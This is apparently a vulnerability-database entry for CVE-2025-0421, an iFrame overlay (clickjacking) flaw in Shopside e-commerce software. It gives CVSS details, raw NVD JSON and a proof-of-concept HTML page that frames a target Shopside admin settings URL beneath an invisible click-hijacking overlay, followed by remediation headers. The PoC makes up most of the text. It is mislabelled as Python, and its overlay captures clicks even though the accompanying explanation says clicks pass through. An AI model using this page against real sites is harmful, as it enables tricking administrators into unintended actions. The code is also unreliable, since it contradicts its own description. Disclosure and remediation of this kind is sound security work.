Security Vulnerability Report
中文
CVE-2025-0421 CVSS 4.7 MEDIUM

CVE-2025-0421

Published: 2025-11-19 14:15:58
Last Modified: 2026-04-15 00:35:42

Description

Improper Restriction of Rendered UI Layers or Frames vulnerability in Shopside Software Technologies Inc. Shopside allows iFrame Overlay.This issue affects Shopside: through 05022025.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Shopside (Shopside Software Technologies Inc.) through 05022025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-0421 PoC: Shopside iFrame Overlay/Clickjacking --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CVE-2025-0421 PoC - Shopside Clickjacking</title> <style> body { margin: 0; padding: 20px; font-family: Arial, sans-serif; background: #f0f0f0; } .container { max-width: 800px; margin: 0 auto; } h1 { color: #d9534f; } .disclaimer { background: #fff3cd; border: 1px solid #ffc107; padding: 15px; margin-bottom: 20px; border-radius: 5px; } /* Invisible overlay covering the iframe */ .clickjacking-overlay { position: absolute; top: 200px; left: 100px; width: 200px; height: 50px; background: transparent; cursor: pointer; z-index: 999999; /* Hidden malicious button */ } .malicious-btn { position: absolute; top: 200px; left: 100px; width: 200px; height: 50px; background: rgba(255, 255, 255, 0.01); border: 2px dashed red; display: flex; align-items: center; justify-content: center; color: white; font-size: 14px; z-index: 1000000; pointer-events: none; } /* iframe container */ .iframe-container { position: relative; width: 100%; height: 600px; border: 2px solid #333; background: white; } iframe { width: 100%; height: 100%; border: none; } .exploit-note { margin-top: 20px; padding: 15px; background: #d4edda; border: 1px solid #28a745; border-radius: 5px; } </style> </head> <body> <div class="container"> <h1>CVE-2025-0421 PoC</h1> <div class="disclaimer"> <strong>⚠️ Warning:</strong> This is a security research PoC for educational purposes only. Do not use this code for malicious purposes. </div> <p><strong>Target:</strong> Shopside by Shopside Software Technologies Inc.</p> <p><strong>Vulnerability:</strong> Improper Restriction of Rendered UI Layers or Frames (iFrame Overlay)</p> <p><strong>CVSS:</strong> 4.7 (Medium)</p> <p>The page below demonstrates a clickjacking attack where an invisible overlay is placed over the Shopside iframe to hijack user clicks.</p> <div class="iframe-container"> <!-- Replace with actual vulnerable Shopside URL --> <iframe src="http://target-shopside-site.com/admin/settings" sandbox="allow-same-origin allow-scripts allow-forms"> </iframe> <!-- Invisible overlay button - user thinks they're clicking this --> <div class="clickjacking-overlay" onclick="alert('Click hijacked! CVE-2025-0421')"> </div> <!-- Visual indicator (for demo purposes) --> <div class="malicious-btn">Hidden Click Target</div> </div> <div class="exploit-note"> <h3>Attack Explanation:</h3> <ol> <li>Attacker embeds vulnerable Shopside page in iframe</li> <li>Invisible overlay is positioned over sensitive UI elements</li> <li>User clicks overlay thinking it's a legitimate button</li> <li>Click passes through to underlying Shopside page</li> <li>Attacker can trigger unintended actions (CSRF-like attacks)</li> </ol> <h3>Remediation:</h3> <ul> <li>Set X-Frame-Options: DENY or SAMEORIGIN</li> <li>Implement Content-Security-Policy with frame-ancestors directive</li> <li>Use X-Frame-Options: ALLOW-FROM (deprecated but supported)</li> </ul> </div> </div> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-0421", "sourceIdentifier": "[email protected]", "published": "2025-11-19T14:15:57.943", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of Rendered UI Layers or Frames vulnerability in Shopside Software Technologies Inc. Shopside allows iFrame Overlay.This issue affects Shopside: through 05022025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0402", "source": "[email protected]"}]}}